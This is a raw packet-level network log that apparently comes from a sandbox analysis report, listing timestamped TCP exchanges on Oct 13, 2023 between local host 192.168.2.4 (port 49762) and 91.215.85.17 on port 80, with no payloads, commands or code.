Oct 13, 2023 16:06:20.054418087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054476976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054514885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054677010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054716110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054781914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054816961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054841042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054877043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054913044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054946899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055042028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055082083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055119038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055150986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055186033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055219889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055286884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055327892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055438042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055474043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055561066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055598974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055634975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055670977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055706024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055741072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055816889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055852890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055921078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.055953979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.055986881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056020975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056076050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056164026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056184053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056197882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056250095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056283951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056351900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056386948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056441069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056476116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056509018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056544065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056597948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056632996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056698084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056734085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056812048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.056878090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.056972980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057009935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057095051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057137012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057379007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057414055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057414055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057454109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057488918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057523966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057557106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057591915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057661057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057696104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057730913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057768106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057801962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057836056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057912111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.057948112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.057981014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058016062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058090925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058128119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058146954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058182955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058206081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058243990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058278084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058310986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058384895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058420897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058460951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058495998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058533907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058573008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058657885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058695078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058729887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058764935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058825016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058861971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.058914900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.058954954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059012890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059047937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059082985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059123039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059135914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059175968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059202909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059237957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059303999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059339046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059397936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059432983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059566021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059602976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059637070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059664965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059739113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059772015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059806108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059842110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059906960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.059943914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.059966087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060002089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060038090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060072899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060096979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060133934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060220957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060255051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060292959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060328007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060364008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060416937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060477018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060514927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060574055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060615063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060638905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060676098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060738087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060772896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060807943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060843945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060863018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060899019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.060934067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.060969114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061031103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061065912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061084032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061120987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061197042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061232090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061264992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061307907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061373949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061409950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061460018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061494112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061574936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061610937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061646938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061680079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061752081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061788082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061810970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061844110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061877966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.061913967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.061997890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062033892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062067986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062103033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062191963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062227964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062314987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062350035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062395096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062431097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062500000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062539101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062562943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062601089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062669992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062705994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062730074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062766075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.062827110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.062864065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063081026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063118935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063153982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063189030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063271046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063312054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063344955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063379049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063438892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063473940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063539028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063574076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063659906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063693047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063728094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063761950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063853979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063889027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.063921928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.063955069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064032078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064065933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064119101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064155102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064218044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064253092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064364910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064399004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064486980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064522028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064543962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064578056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064596891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064632893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064719915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064755917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064790010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064821959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064877987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.064913034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.064965010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065000057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065032959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065067053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065152884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065186977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065221071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065253973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065289974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065325022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065325022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065356970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065414906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065449953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065524101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065557957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065618992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065653086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065691948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065723896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065776110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065809965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.065895081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.065929890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066092968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066127062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066140890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066174984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066246033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066281080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066343069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066379070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066443920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066478014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066500902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066539049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066608906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066643000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066667080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066703081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066780090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066809893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066898108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066932917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.066956043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.066993952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067055941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067085981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067146063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067181110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067234993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067270994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067307949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067342043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067478895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067516088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067569017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067600965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067616940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067652941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067909002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.067943096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.067965984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068000078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068073034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068109035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068142891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068176985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068242073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068274975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068320990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068356037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068398952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068434954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068893909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.068931103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.068998098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069031000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069046974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069082022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069257021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069308043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069322109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069360971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069443941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069483042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069528103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069570065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069581985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069622040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069628000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069664001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069693089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069730043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069808006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069844007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069873095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.069910049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.069981098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070020914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070070028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070107937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070205927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070244074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070282936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070323944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070385933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070422888 CEST	49762	80	192.168.2.4	91.215.85.17
